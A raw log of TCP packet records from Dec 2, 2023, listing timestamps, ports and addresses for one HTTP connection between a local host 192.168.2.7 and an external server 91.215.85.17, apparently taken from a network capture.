Dec 2, 2023 18:01:45.602715969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602719069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602719069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602730036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602741957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602746964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602755070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602767944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602787971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602787971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602824926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602837086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602849960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602860928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602871895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602884054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602885962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602885962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602896929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602909088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602920055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602931023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602932930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602932930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602943897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602955103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602966070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602976084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602976084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.602977991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.602992058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603003979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603013039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603014946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603027105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603043079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603044033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603053093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603055000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603060007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603063107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603068113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603080988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603091955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603097916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603105068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603116989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603128910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603135109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603135109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603149891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603192091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603192091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603226900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603241920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603255033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603266001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603277922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603288889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603300095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603300095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603312016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603318930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603324890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603326082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603341103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603351116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603353977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603368044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603380919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603391886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603394032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603404045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603404999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603418112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603429079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603436947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603441000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603454113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603462934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603466988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603480101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603485107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603493929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603494883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603508949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603521109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603532076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603543997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603559971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603559971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603559971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603565931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603590965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603600025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603600025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603604078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603616953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603629112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603640079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603651047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603662014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603667974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603667974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603676081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603688955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603701115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603708029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603708029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603713036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603725910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603737116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603749037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603754997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603760004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603771925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603784084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603790045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603790045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603796959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603810072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603821039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603842974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603874922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603887081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603898048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603909969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603921890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603929996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603929996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603934050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603946924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603951931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.603960037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603971958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603982925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.603993893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604000092 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604006052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604017973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604031086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604032993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604032993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604048967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604063034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604074955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604088068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604099035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604110956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604119062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604119062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604124069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604135990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604147911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604156017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604161024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604173899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604182005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604186058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604197025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604198933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604212046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604223967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604235888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604247093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604249001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604249001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604259968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604271889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604275942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604285002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604298115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604302883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604310989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604316950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604326010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604338884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604348898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604357004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604362011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604373932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604386091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604398012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604401112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604401112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604466915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604480028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604490042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604495049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604495049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604502916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604522943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604557991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604571104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604582071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604593992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604605913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604609013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604620934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604633093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604639053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604639053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604645967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604695082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604700089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604715109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604726076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604738951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604749918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604762077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604765892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604765892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604775906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604819059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604820967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604821920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604831934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604845047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604859114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604871035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604882002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604898930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604898930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604907036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604921103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604923964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604923964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604933023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604945898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604957104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604960918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604970932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604984045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.604986906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.604995966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605007887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605042934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605056047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605065107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605065107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605068922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605082035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605093002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605106115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605115891 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605118036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605130911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605140924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605142117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605154991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605159998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605166912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605174065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605180025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605192900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605218887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605218887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605266094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605278969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605289936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605302095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605313063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605324030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605328083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605328083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605338097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605359077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605365038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605377913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605386019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605391026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605402946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605412960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605417013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605428934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605441093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605449915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605453014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605465889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605473042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605479002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605489969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605493069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605504990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605516911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605529070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605529070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605547905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605560064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605564117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605564117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605572939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605586052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605602980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605622053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605635881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605643988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605649948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605662107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605674982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605684042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605686903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605704069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605722904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605730057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605737925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605808020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605818987 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605819941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605833054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605844975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605856895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605868101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605880022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605880976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605880976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605892897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605905056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605916977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605923891 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605923891 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605930090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605943918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605956078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605967999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605971098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605971098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.605981112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605992079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.605994940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606004000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606018066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606025934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606030941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606045961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606057882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606065989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:45.606070995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606082916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:45.606090069 CET	49713	80	192.168.2.7	91.215.85.17
